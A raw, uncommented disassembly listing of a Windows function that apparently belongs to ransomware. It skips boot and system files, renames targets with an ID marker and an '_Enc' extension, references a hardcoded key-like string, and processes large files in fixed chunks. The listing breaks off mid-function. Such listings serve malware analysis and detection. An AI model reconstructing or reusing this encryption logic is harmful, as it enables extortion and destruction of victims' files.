cmovae eax, edx
mov dword [ebp - 0x528], edx
cmp dword [ebp - 0x518], 7
jne 0x410a00
mov edx, str.bootmgr
mov edi, 7
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x410a00
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x4109e0
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x600]
call fcn.00431aa0
cmp dword [ebp - 0x5ec], 8
lea ecx, [ebp - 0x600]
mov eax, dword [ebp - 0x5f0]
lea edi, [ebp - 0x600]
cmovae ecx, dword [ebp - 0x600]
cmovae edi, dword [ebp - 0x600]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410a87
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410a60
movups xmm1, xmmword [ebp - 0x600]
xor eax, eax
movq xmm0, qword [ebp - 0x5f0]
movups xmmword [ebp - 0x510], xmm1
mov dword [ebp - 0x5f0], 0
movq qword [ebp - 0x500], xmm0
mov dword [ebp - 0x5ec], 7
mov word [ebp - 0x600], ax
mov dword [ebp - 4], 0x12
lea eax, [ebp - 0x510]
cmp dword [ebp - 0x4fc], 8
mov ecx, 0x1ffff
movd edx, xmm1
mov dword [ebp - 0x39c], ecx
cmovae eax, edx
mov dword [ebp - 0x510], edx
cmp dword [ebp - 0x500], 0xb
jne 0x410b30
mov edx, str.sysmain.sys
mov edi, 0xb
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x410b30
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410b10
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00431aa0
cmp dword [ebp - 0x5d4], 8
lea ecx, [ebp - 0x5e8]
mov eax, dword [ebp - 0x5d8]
lea edi, [ebp - 0x5e8]
cmovae ecx, dword [ebp - 0x5e8]
cmovae edi, dword [ebp - 0x5e8]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410bb7
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410b90
movups xmm1, xmmword [ebp - 0x5e8]
xor eax, eax
movq xmm0, qword [ebp - 0x5d8]
movups xmmword [ebp - 0x630], xmm1
mov dword [ebp - 0x5d8], 0
movq qword [ebp - 0x620], xmm0
mov dword [ebp - 0x5d4], 7
mov word [ebp - 0x5e8], ax
mov dword [ebp - 4], 0x13
lea eax, [ebp - 0x630]
cmp dword [ebp - 0x61c], 8
mov ecx, 0x3ffff
movd edx, xmm1
mov dword [ebp - 0x39c], ecx
cmovae eax, edx
mov dword [ebp - 0x630], edx
cmp dword [ebp - 0x620], 0xb
jne 0x410c60
mov edx, str.desktop.ini
mov edi, 0xb
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x410c60
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410c40
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5d0]
call fcn.00431aa0
cmp dword [ebp - 0x5bc], 8
lea ecx, [ebp - 0x5d0]
mov eax, dword [ebp - 0x5c0]
lea edi, [ebp - 0x5d0]
cmovae ecx, dword [ebp - 0x5d0]
cmovae edi, dword [ebp - 0x5d0]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410ce7
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410cc0
movups xmm1, xmmword [ebp - 0x5d0]
xor eax, eax
movq xmm0, qword [ebp - 0x5c0]
movups xmmword [ebp - 0x570], xmm1
mov dword [ebp - 0x5c0], 0
movq qword [ebp - 0x560], xmm0
mov dword [ebp - 0x5bc], 7
mov word [ebp - 0x5d0], ax
mov dword [ebp - 4], 0x14
lea eax, [ebp - 0x570]
cmp dword [ebp - 0x55c], 8
mov ecx, 0x7ffff
movd edx, xmm1
mov dword [ebp - 0x39c], ecx
cmovae eax, edx
mov dword [ebp - 0x570], edx
cmp dword [ebp - 0x560], 0xc
jne 0x410d90
mov edx, str.bootsect.bak
mov edi, 0xc
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x410d90
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410d70
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5b8]
call fcn.00431aa0
cmp dword [ebp - 0x5a4], 8
lea ecx, [ebp - 0x5b8]
mov eax, dword [ebp - 0x5a8]
lea edi, [ebp - 0x5b8]
cmovae ecx, dword [ebp - 0x5b8]
cmovae edi, dword [ebp - 0x5b8]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410e17
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410df0
movups xmm1, xmmword [ebp - 0x5b8]
xor eax, eax
movq xmm0, qword [ebp - 0x5a8]
movups xmmword [ebp - 0x588], xmm1
mov dword [ebp - 0x5a8], 0
movq qword [ebp - 0x578], xmm0
mov dword [ebp - 0x5a4], 7
mov word [ebp - 0x5b8], ax
mov dword [ebp - 4], 0x15
lea eax, [ebp - 0x588]
cmp dword [ebp - 0x574], 8
mov ecx, 0xfffff
movd edx, xmm1
mov dword [ebp - 0x39c], ecx
cmovae eax, edx
mov dword [ebp - 0x588], edx
cmp dword [ebp - 0x578], 8
jne 0x410ec0
mov edx, str.boot.ini
mov edi, 8
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x410ec0
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410ea0
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5a0]
call fcn.00431aa0
cmp dword [ebp - 0x58c], 8
lea ecx, [ebp - 0x5a0]
mov eax, dword [ebp - 0x590]
lea edi, [ebp - 0x5a0]
cmovae ecx, dword [ebp - 0x5a0]
cmovae edi, dword [ebp - 0x5a0]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410f47
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410f20
movups xmm1, xmmword [ebp - 0x5a0]
xor eax, eax
mov ecx, 0x1fffff
movq xmm0, qword [ebp - 0x590]
movq qword [ebp - 0x4d0], xmm0
cmp dword [ebp - 0x4cc], 8
movd edx, xmm1
mov word [ebp - 0x5a0], ax
lea eax, [ebp - 0x4e0]
movups xmmword [ebp - 0x4e0], xmm1
cmovae eax, edx
mov dword [ebp - 0x590], 0
cmp dword [ebp - 0x4d0], 9
mov dword [ebp - 0x58c], 7
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x4e0], edx
jne 0x410fdf
mov edx, str.r_cfg.ini
mov edi, 9
sub eax, edx
mov dword [ebp - 0x394], eax
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x410fdf
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410fc2
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
mov byte [ebp - 0x3d], 0
test ecx, 0x100000
je 0x41105e
mov eax, dword [ebp - 0x4cc]
and ecx, 0xffefffff
mov dword [ebp - 0x39c], ecx
cmp eax, 8
jb 0x411041
mov edx, dword [ebp - 0x4e0]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x411031
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412375
push ecx
push edx
call fcn.0049143c
mov ecx, dword [ebp - 0x39c]
add esp, 8
xor eax, eax
mov dword [ebp - 0x4d0], 0
mov dword [ebp - 0x4cc], 7
mov word [ebp - 0x4e0], ax
mov dword [ebp - 4], 0x14
test ecx, 0x80000
je 0x4110e0
mov eax, dword [ebp - 0x574]
and ecx, 0xfff7ffff
mov dword [ebp - 0x39c], ecx
cmp eax, 8
jb 0x4110c3
mov edx, dword [ebp - 0x588]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4110b3
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412375
push ecx
push edx
call fcn.0049143c
mov ecx, dword [ebp - 0x39c]
add esp, 8
xor eax, eax
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x574], 7
mov word [ebp - 0x588], ax
mov dword [ebp - 4], 0x13
test ecx, 0x40000
je 0x411162
mov eax, dword [ebp - 0x55c]
and ecx, 0xfffbffff
mov dword [ebp - 0x39c], ecx
cmp eax, 8
jb 0x411145
mov edx, dword [ebp - 0x570]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x411135
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412375
push ecx
push edx
call fcn.0049143c
mov ecx, dword [ebp - 0x39c]
add esp, 8
xor eax, eax
mov dword [ebp - 0x560], 0
mov dword [ebp - 0x55c], 7
mov word [ebp - 0x570], ax
mov dword [ebp - 4], 0x12
test ecx, 0x20000
je 0x4111e4
mov eax, dword [ebp - 0x61c]
and ecx, 0xfffdffff
mov dword [ebp - 0x39c], ecx
cmp eax, 8
jb 0x4111c7
mov edx, dword [ebp - 0x630]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4111b7
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412375
push ecx
push edx
call fcn.0049143c
mov ecx, dword [ebp - 0x39c]
add esp, 8
xor eax, eax
mov dword [ebp - 0x620], 0
mov dword [ebp - 0x61c], 7
mov word [ebp - 0x630], ax
mov dword [ebp - 4], 0x11
test ecx, 0x10000
je 0x411266
mov eax, dword [ebp - 0x4fc]
and ecx, 0xfffeffff
mov dword [ebp - 0x39c], ecx
cmp eax, 8
jb 0x411249
mov edx, dword [ebp - 0x510]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x411239
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412375
push ecx
push edx
call fcn.0049143c
mov ecx, dword [ebp - 0x39c]
add esp, 8
xor eax, eax
mov dword [ebp - 0x500], 0
mov dword [ebp - 0x4fc], 7
mov word [ebp - 0x510], ax
mov dword [ebp - 4], 0x10
test ecx, 0x8000
je 0x4112e8
mov eax, dword [ebp - 0x514]
and ecx, 0xffff7fff
mov dword [ebp - 0x39c], ecx
cmp eax, 8
jb 0x4112cb
mov edx, dword [ebp - 0x528]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4112bb
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412375
push ecx
push edx
call fcn.0049143c
mov ecx, dword [ebp - 0x39c]
add esp, 8
xor eax, eax
mov dword [ebp - 0x518], 0
mov dword [ebp - 0x514], 7
mov word [ebp - 0x528], ax
mov dword [ebp - 4], 0xf
test ecx, 0x4000
je 0x41136a
mov eax, dword [ebp - 0x52c]
and ecx, 0xffffbfff
mov dword [ebp - 0x39c], ecx
cmp eax, 8
jb 0x41134d
mov edx, dword [ebp - 0x540]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41133d
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412375
push ecx
push edx
call fcn.0049143c
mov ecx, dword [ebp - 0x39c]
add esp, 8
xor eax, eax
mov dword [ebp - 0x530], 0
mov dword [ebp - 0x52c], 7
mov word [ebp - 0x540], ax
mov dword [ebp - 4], 0xe
test ecx, 0x2000
je 0x4113ec
mov eax, dword [ebp - 0x544]
and ecx, 0xffffdfff
mov dword [ebp - 0x39c], ecx
cmp eax, 8
jb 0x4113cf
mov edx, dword [ebp - 0x558]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4113bf
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412375
push ecx
push edx
call fcn.0049143c
mov ecx, dword [ebp - 0x39c]
add esp, 8
xor eax, eax
mov dword [ebp - 0x548], 0
mov dword [ebp - 0x544], 7
mov word [ebp - 0x558], ax
test ecx, 0x1000
je 0x411441
mov eax, dword [ebp - 0x3ac]
and ecx, 0xffffefff
mov dword [ebp - 0x39c], ecx
cmp eax, 8
jb 0x411424
inc eax
lea ecx, [ebp - 0x3c0]
push eax
push dword [ebp - 0x3c0]
call fcn.00437d90
mov ecx, dword [ebp - 0x39c]
xor eax, eax
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x3ac], 7
mov word [ebp - 0x3c0], ax
test ecx, 0x800
je 0x411466
and ecx, 0xfffff7ff
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x754]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test ecx, 0x400
je 0x41148b
and ecx, 0xfffffbff
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x6dc]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test ecx, 0x200
je 0x4114b0
and ecx, 0xfffffdff
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x6f4]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test ecx, 0x100
je 0x4114d5
and ecx, 0xfffffeff
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x70c]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test cl, cl
jns 0x4114f6
and ecx, 0xffffff7f
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x724]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test cl, 0x40
je 0x411515
and ecx, 0xffffffbf
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x73c]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test cl, 0x20
je 0x411534
and ecx, 0xffffffdf
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x6c0]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test cl, 0x10
je 0x411553
and ecx, 0xffffffef
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x76c]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test cl, 8
je 0x411572
and ecx, 0xfffffff7
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x784]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test cl, 4
je 0x411591
and ecx, 0xfffffffb
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x79c]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
test cl, 2
je 0x4115b0
and ecx, 0xfffffffd
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x690]
call fcn.004049c0
mov ecx, dword [ebp - 0x39c]
mov dword [ebp - 4], 1
test cl, 1
je 0x4115d0
and ecx, 0xfffffffe
mov dword [ebp - 0x39c], ecx
lea ecx, [ebp - 0x6a8]
call fcn.004049c0
cmp byte [ebp - 0x3d], 0
jne 0x41195e
cmp byte [0x5200e9], 0
jne 0x411749
push str.__ID_
mov edx, esi
lea ecx, [ebp - 0x874]
call fcn.0043a350
add esp, 4
push 0x51fce8
mov edx, eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x85c]
call fcn.0043a420
add esp, 4
push 0x4ff97c
mov edx, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x844]
call fcn.0043a2e0
add esp, 4
push 0x51fc30
mov edx, eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x82c]
call fcn.0043a420
add esp, 4
push 0x4ff978
mov edx, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x7b4]
call fcn.0043a2e0
add esp, 4
push 0x51fdb8
mov edx, eax
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0xe0]
call fcn.0043a420
add esp, 4
lea ecx, [ebp - 0x7b4]
call fcn.004049c0
lea ecx, [ebp - 0x82c]
call fcn.004049c0
lea ecx, [ebp - 0x844]
call fcn.004049c0
lea ecx, [ebp - 0x85c]
call fcn.004049c0
lea ecx, [ebp - 0x874]
mov byte [ebp - 4], 0x20
call fcn.004049c0
lea ecx, [ebp - 0xe0]
call fcn.00431860
push eax
mov ecx, esi
call fcn.00431860
push eax
call fcn.004b61d6
add esp, 8
test eax, eax
je 0x41172c
push ecx
mov edx, esi
lea ecx, [ebp - 0x7cc]
call fcn.0043a480
add esp, 4
lea ecx, [ebp - 0xe0]
push eax
call fcn.004319a0
lea ecx, [ebp - 0x7cc]
call fcn.004049c0
lea ecx, [ebp - 0xe0]
call fcn.00431860
push eax
mov ecx, esi
call fcn.00431860
push eax
call fcn.004b61d6
add esp, 8
test eax, eax
je 0x41172c
push esi
lea ecx, [ebp - 0xe0]
call fcn.00431970
lea eax, [ebp - 0xe0]
mov ecx, esi
push eax
call fcn.00431970
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 1
call fcn.004049c0
push 0x80
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.004a9190
add esp, 4
lea ecx, [ebp - 0x210]
call fcn.00408250
xorps xmm0, xmm0
mov byte [ebp - 4], 0x21
push 0x20
lea ecx, [ebp - 0x50]
movups xmmword [ebp - 0x50], xmm0
call fcn.00430eb0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x210]
push dword [ebp - 0x48]
push dword [ebp - 0x44]
call fcn.004462b0
push 0x20
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x210]
call fcn.004462b0
push dword [ebp - 0x48]
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x44]
call fcn.004323e0
push 0x20
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x98]
call fcn.004323e0
push 0xc0
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 0x24
push 0
push eax
call fcn.004a9190
add esp, 4
lea ecx, [ebp - 0x2d0]
push 0x27
push esi
call fcn.00433fc0
sub esp, 0xc
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x2c0]
call fcn.004350e0
lea eax, [ebp - 0x890]
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00435210
mov edi, dword [eax + 8]
add edi, dword [eax]
mov ecx, dword [eax + 0xc]
mov edx, edi
adc ecx, dword [eax + 4]
add edx, 0xfffffffe
mov eax, ecx
mov dword [ebp - 0x3a4], ecx
adc eax, 0xffffffff
test eax, eax
ja 0x4118ab
jb 0x411845
cmp edx, 0x1d
ja 0x4118ab
push 0xc0
lea eax, [ebp - 0x390]
push 0
push eax
call fcn.004a9190
add esp, 4
lea ecx, [ebp - 0x390]
push 0x27
push esi
call fcn.00433fc0
sub esp, 0xc
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x380]
call fcn.004350e0
mov edx, str.nqpso5938fh71jfu
lea ecx, [ebp - 0x380]
call fcn.00439940
lea ecx, [ebp - 0x390]
call fcn.00433f40
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0x25
call fcn.0040b0a0
mov ecx, dword [ebp - 0x3a4]
mov eax, edi
and eax, ecx
cmp eax, 0xffffffff
je 0x41192a
mov eax, edi
or eax, ecx
je 0x41192a
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
push 1
push 0x4fb040
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x27
call fcn.00431fd0
lea edx, [ebp - 0xc8]
lea ecx, [ebp - 0x2c0]
call fcn.00439c80
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call fcn.00403730
lea ecx, [ebp - 0x2d0]
test al, al
je 0x41196b
call fcn.00433f40
lea ecx, [ebp - 0xc8]
call fcn.00432290
lea ecx, [ebp - 0x2d0]
call fcn.0040b0a0
lea ecx, [ebp - 0x98]
call fcn.00432290
lea ecx, [ebp - 0xb0]
call fcn.00432290
lea ecx, [ebp - 0x50]
call fcn.00430e60
lea ecx, [ebp - 0x210]
call fcn.004081e0
lea ecx, [ebp - 0x68]
call fcn.004049c0
jmp 0x412357
call fcn.00433f40
push esi
lea ecx, [ebp - 0x80]
call fcn.00431aa0
mov byte [ebp - 4], 0x28
cmp byte [0x5200e9], 0
jne 0x4119bb
push 0
push str.__ID_
lea ecx, [ebp - 0x80]
call fcn.00431660
push eax
push 0
lea eax, [ebp - 0x7e4]
push eax
lea ecx, [ebp - 0x80]
call fcn.00431600
push eax
lea ecx, [ebp - 0x80]
call fcn.004319a0
lea ecx, [ebp - 0x7e4]
call fcn.004049c0
lea ecx, [ebp - 0x80]
call fcn.0040af00
cmp eax, 0xffffffff
je 0x4119fa
push eax
push 0
call fcn.004318b0
push 0x4ff998
lea edx, [ebp - 0x80]
lea ecx, [ebp - 0x7fc]
call fcn.0043a350
add esp, 4
lea ecx, [ebp - 0x80]
push eax
call fcn.004319a0
lea ecx, [ebp - 0x7fc]
call fcn.004049c0
sub esp, 0x18
lea eax, [ebp - 0x80]
mov ecx, esp
push eax
call fcn.00431aa0
lea ecx, [ebp - 0x814]
call fcn.0040f5c0
add esp, 0x18
lea ecx, [ebp - 0x80]
push eax
call fcn.004319a0
lea ecx, [ebp - 0x814]
call fcn.004049c0
cmp byte [0x5200ed], 1
jne 0x411ecc
mov eax, dword [ebp - 0x3a4]
cmp eax, dword [0x52010c]
jb 0x411b18
ja 0x411a57
cmp edi, dword [0x520108]
jb 0x411b18
push 0
lea eax, [ebp - 0x210]
mov ecx, esi
push eax
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0xb0]
call fcn.0040b160
add esp, 0xc
lea eax, [ebp - 0x80]
mov ecx, 0x51fd48
push 0
push eax
call fcn.004316a0
cmp eax, 0xffffffff
je 0x41225a
sub esp, 0x18
mov byte [ebp - 0x3d], 0
mov ecx, esp
push esi
call fcn.00431aa0
push dword [0x520104]
lea eax, [ebp - 0x3d]
push dword [0x520100]
lea edx, [ebp - 0x3c]
push eax
push dword [0x5200fc]
lea ecx, [ebp - 0x50]
push dword [0x5200f8]
push 0
push 0
call fcn.0040db00
add esp, 0x34
cmp byte [ebp - 0x3d], 1
je 0x4122df
push 0x4ff99c
mov edx, esi
lea ecx, [ebp - 0x18c]
call fcn.0043a350
add esp, 4
lea ecx, [ebp - 0x18c]
call fcn.00431860
push eax
mov ecx, esi
call fcn.00431860
push eax
call fcn.004b61d6
add esp, 8
lea ecx, [ebp - 0x18c]
call fcn.004049c0
jmp 0x4122df
cmp eax, dword [0x520124]
jb 0x411ea0
ja 0x411b32
cmp edi, dword [0x520120]
jb 0x411ea0
push 0
lea eax, [ebp - 0x80]
mov ecx, 0x51fd48
push eax
call fcn.004316a0
cmp eax, 0xffffffff
je 0x411e7b
cmp dword [ebp - 0x3a4], 0
mov eax, 1
mov dword [ebp - 0x394], 0
jl 0x411d1e
jg 0x411b75
cmp edi, 0x4e2000
jbe 0x411d1e
mov ecx, dword [0x520128]
cmp ecx, 1
je 0x411d1e
mov eax, ecx
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x398], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x398]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x411bc9
ja 0x411bb7
cmp edi, eax
jbe 0x411bc9
mov edi, eax
mov dword [ebp - 0x394], ecx
mov eax, dword [0x520128]
jmp 0x411d12
mov ecx, dword [0x520128]
call fcn.00416620
mov dword [ebp - 0x398], eax
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x3a0], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x3a0]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x411c18
ja 0x411c0b
cmp edi, eax
jbe 0x411c18
mov edi, eax
mov dword [ebp - 0x394], ecx
jmp 0x411d0c
mov ecx, dword [ebp - 0x398]
call fcn.00416620
mov dword [ebp - 0x398], eax
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x3a0], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x3a0]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x411c67
ja 0x411c0b
cmp edi, eax
jbe 0x411c67
mov edi, eax
mov dword [ebp - 0x394], ecx
jmp 0x411d0c
mov ecx, dword [ebp - 0x398]
call fcn.00416620
mov dword [ebp - 0x398], eax
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x3a0], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x3a0]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x411cb7
ja 0x411c0b
cmp edi, eax
jbe 0x411cb7
mov edi, eax
mov dword [ebp - 0x394], ecx
jmp 0x411d0c
mov ecx, dword [ebp - 0x398]
call fcn.00416620
mov dword [ebp - 0x398], eax
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x3a0], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x3a0]
add ecx, edx
cmp dword [ebp - 0x3a4], ecx
jb 0x411d07
ja 0x411c0b
cmp edi, eax
jbe 0x411d07
mov edi, eax
mov dword [ebp - 0x394], ecx
jmp 0x411d0c
mov edi, 0xfa000
mov eax, dword [ebp - 0x398]
cmp eax, 1
je 0x411d23
cmp eax, 5
jne 0x411d26
jmp 0x411d23
mov edi, 0xfa000
add eax, 0x32
push eax
lea eax, [ebp - 0x210]
mov ecx, esi
push eax
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0xb0]
call fcn.0040b160
add esp, 0xc
cmp byte [0x5200e9], 0
jne 0x411ddc
push esi
lea ecx, [ebp - 0xf8]
call fcn.00431aa0
push str._Enc
lea edx, [ebp - 0xf8]
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x144]
call fcn.0043a350
add esp, 4
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0x2a
call fcn.00431860
push eax
mov ecx, esi
call fcn.00431860
push eax
call fcn.004b61d6
add esp, 8
lea ecx, [ebp - 0xf8]
test eax, eax
jne 0x411dae
lea eax, [ebp - 0x144]
push eax
jmp 0x411daf
push esi
call fcn.00431970
lea eax, [ebp - 0xf8]
mov ecx, esi
push eax
call fcn.00431970
lea ecx, [ebp - 0x144]
call fcn.004049c0
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x28
call fcn.004049c0
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00431aa0
lea eax, [ebp - 0x3a5]
push eax
push dword [ebp - 0x394]
lea edx, [ebp - 0x3c]
push edi
push 0
push 0
lea ecx, [ebp - 0x50]
call fcn.0040bab0
add esp, 0x2c
cmp byte [0x5200e9], 0
jne 0x4122df
cmp byte [ebp - 0x3a5], 0
je 0x4122df
push 0
push str._Enc
mov ecx, esi
call fcn.00431660
cmp eax, 0xffffffff
je 0x4122df
mov eax, dword [esi + 0x10]
mov ecx, esi
add eax, 0xfffffffc
